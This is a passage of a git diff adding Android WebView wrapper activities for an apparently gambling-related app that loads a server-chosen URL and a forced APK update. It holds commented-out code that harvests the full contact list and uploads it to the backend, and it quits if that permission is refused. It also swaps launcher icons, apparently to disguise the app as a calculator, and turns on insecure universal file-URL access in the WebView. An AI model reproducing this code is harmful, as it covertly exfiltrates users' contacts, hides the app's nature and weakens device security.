intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); + startActivity(intent); + } + } + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + // 在首页 就退出这个页面 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + super.onBackPressed(); + } else { //不在首页 回到首页 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + } + topVvvv.setVisibility(View.GONE); + progressBar.setVisibility(View.VISIBLE); + //当有条过登录页面 只能重载 不然逻辑会异常 + if (hasSignIn) { + onShowNetView(); + webView.loadUrl(url); + } else { + while (webView.canGoBack()) { + webView.goBack(); + } + + } + } + + } else {//不能返回了 关闭进程 退出程序 + Intent homeIntent = new Intent(Intent.ACTION_MAIN); + homeIntent.addCategory(Intent.CATEGORY_HOME); + homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(homeIntent); + android.os.Process.killProcess(android.os.Process.myPid()); + System.exit(1); + + } + } + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + + showTopV1 = (ImageView) findViewById(R.id.show_top_v1); + showTopLy = findViewById(R.id.show_top_ly); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + + showTopLy.setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + getNetUrl(); + getNotifyList(); + } + + public void getNotifyList() { + + Api.getInstance().getNotifyList(userId, 1, 1) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if (o.data != null && o.data.getTotal() > 0) { + otherApp.setVisibility(View.INVISIBLE); + + ivNotify.setVisibility(View.VISIBLE); + if(userId == 112||userId == 87||userId == 91||userId ==93 + ||userId ==92||userId==84||userId == 120||userId ==70||userId ==143 ||userId ==149){ + ivNotify.setVisibility(View.INVISIBLE); + layoutOtherApp.setVisibility(View.GONE); + } + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + } + }); + } + + public void getNetUrl() { + Api.getInstance().geUrlNew(userId) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + + DataInfo dataInfo = o.data; + if (dataInfo != null) { + if (dataInfo.getIsUse() == 0) { + MainActivity2.this.finish(); + return; + } + if (!TextUtils.isEmpty(dataInfo.getUrl())) { + MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); + webView.loadUrl(dataInfo.getUrl()); + } + shareUrl = dataInfo.getDownloadUrl(); + String link = dataInfo.getLinkConfig(); + if (!TextUtils.isEmpty(link)) { + try { + linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); + } catch (Exception e) { + + } + } + if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { + if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) { + ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), + getString(R.string.lijigengxin_txt)); + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + checkUpdate(dataInfo.getApkUrl()); + } + + @Override + public void toCancel() { + if (dataInfo.getForceUpdate() == 1) { + MainActivity2.this.finish(); + } + } + }); + actionDialog.show(); + } + } +// contactApply = dataInfo.getContactApplyMode(); +// notifyApply = dataInfo.getNoticeApplyMode(); +// if (contactApply == 0 || contactApply == 1) { +// readContact(); +// } +// if (notifyApply == 0 || notifyApply == 1) { +// checkNotify(); +// } +// facebookUrl = dataInfo.getFbUrl().trim(); +// telegramUrl = dataInfo.getTgUrl().trim(); +// whatsappUrl = dataInfo.getWsUrl().trim(); +// if (!TextUtils.isEmpty(facebookUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivFaceBook.setVisibility(View.VISIBLE); +// } +// if (!TextUtils.isEmpty(telegramUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivTelG.setVisibility(View.VISIBLE); +// } +// if (!TextUtils.isEmpty(whatsappUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivWhatsApp.setVisibility(View.VISIBLE); +// } +// if(userId == 143 ||userId ==149){ +// otherApp.setVisibility(View.INVISIBLE); +// ivFaceBook.setVisibility(View.GONE); +// ivTelG.setVisibility(View.GONE); +// ivWhatsApp.setVisibility(View.GONE); +// layoutOtherApp.setVisibility(View.GONE); +// } + } else { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + + } + + @Override + public void onError(int code, String msg) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + @Override + public void onError2(Result o) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + }); + + } + + + private void checkUpdate(String url) { + new AppUpdater(this, url).start(); + } +// +// List contents = new ArrayList<>(); +// private static String[] PERMISSIONS_READCONTACT = { +// Manifest.permission.READ_CONTACTS}; +// +// public void readContact() { +// if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { +// ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); +// } else { +// //开启线程上传数据 +// new Thread(() -> { +// //获取通讯录 +// contents = new ArrayList<>(); +// Cursor cursor = null; +// try { +// cursor = getContentResolver().query( +// ContactsContract.CommonDataKinds.Phone.CONTENT_URI, +// null, null, null, null); +// while (cursor.moveToNext()) { +// int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); +// String displayName = cursor.getString(i_name); +// int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); +// String number = cursor.getString(i_number); +// ContactBean bean = new ContactBean(displayName, number.trim()); +// contents.add(bean); +// } +// } catch (Exception e) { +// e.printStackTrace(); +// } finally { +// if (cursor != null) { +// cursor.close(); +// postReadContact(contents); +// } +// } +// }).start(); +// +// +// } +// } + +// public void postReadContact(List contents) { +// Gson gson = new Gson(); +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// map.put("customers", contents); +// String result = gson.toJson(map); +// MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); +// Api.getInstance().readContact(RequestBody.create(mediaType, result)) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"); +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.i("error:" + msg); +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } + + public void setDownloadNumbers() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().downloadNumbers(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + MainActivity.saveBoolean(MainActivity2.this, "download", true); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + public void setTotalTongJi() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().totalTongJi(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void getMyInvite(boolean isShare) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("deviceCode", Utils.getUniqueId(MainActivity2.this)); + Api.getInstance().getMyInvited(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + if (o.data != null) { + myInviteCode = o.data.getInviteCode(); +// myInviteNum = o.data.getInviteNum(); + MainActivity.saveString(MainActivity2.this, "balance", o.data.getBalance()); + MainActivity.saveString(MainActivity2.this, "income", o.data.getIncome()); + MainActivity.saveString(MainActivity2.this, "bankname", o.data.getBankName()); + MainActivity.saveString(MainActivity2.this, "name", o.data.getName()); + MainActivity.saveString(MainActivity2.this, "bankno", o.data.getBankNo()); + } + if (isShare) { + goShare(); + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + Handler handler = new Handler(); + + boolean hasSignIn = false; + + WebViewClient webViewClient = new WebViewClient() { + + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); + } + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } + + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + private boolean isToOutSideUrl(String url1) { + return url1.contains("facebook") || url1.contains("https://t.me") || + url1.contains("instagram") || url1.contains("https://x.com")||url1.contains("https://wa.me")|| + url1.contains("https://m.me")||url1.contains("http://m.me"); + } + + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); +// isNetError = true; + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); +// isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:"+url); + + if (isToOutSideUrl(url)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:"+url); + + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + }); + } + } + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { +// readContact(); + } else { + //没同意 + if (contactApply == 1) { + MainActivity2.this.finish(); + } + + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); + } + + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + Handler mainHandler = new Handler(Looper.getMainLooper()); + + public boolean isApplicationBroughtToBackground(final Context context) { + ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); + List tasks = am.getRunningTasks(1); + if (!tasks.isEmpty()) { + ComponentName topActivity = tasks.get(0).topActivity; + if (!topActivity.getPackageName().equals(context.getPackageName())) { + return true; + } + } + return false; + } + +} diff --git a/base_Fachai8hk/src/main/java/com/web/base/MainActivity3.java b/base_Fachai8hk/src/main/java/com/web/base/MainActivity3.java new file mode 100644 index 0000000..cdfca57 --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/MainActivity3.java @@ -0,0 +1,544 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebView; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import com.just.agentweb.AgentWeb; +import com.just.agentweb.WebChromeClient; +import com.just.agentweb.WebViewClient; + + + +public class MainActivity3 extends AppCompatActivity { + LinearLayout webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + AgentWeb mAgentWeb; + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main3); + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + } + + public void hideStatusBar(Activity activity) { + if (activity == null) return; + Window window = activity.getWindow(); + if (window == null) return; + window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + WindowManager.LayoutParams lp = window.getAttributes(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + lp.layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES; + } + window.setAttributes(lp); + } + + + @Override + public void onBackPressed() { + +// if (mAgentWeb.canGoBack()) {//当webview有多级能返回的时候 +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// webView.loadUrl(url); +// } +// } else {//不能返回了 +// +// //返回计算器 +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +//// } + super.onBackPressed(); +// } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "http://winway33.com/"; + + // https://telegram.2ltop.com/url.json?rand=111111111 + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); +// topVvvvf = (RelativeLayout) findViewById(R.id.top_vvvvf); +// topVvvv1 = (StatusLayout) findViewById(R.id.top_vvvv1); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 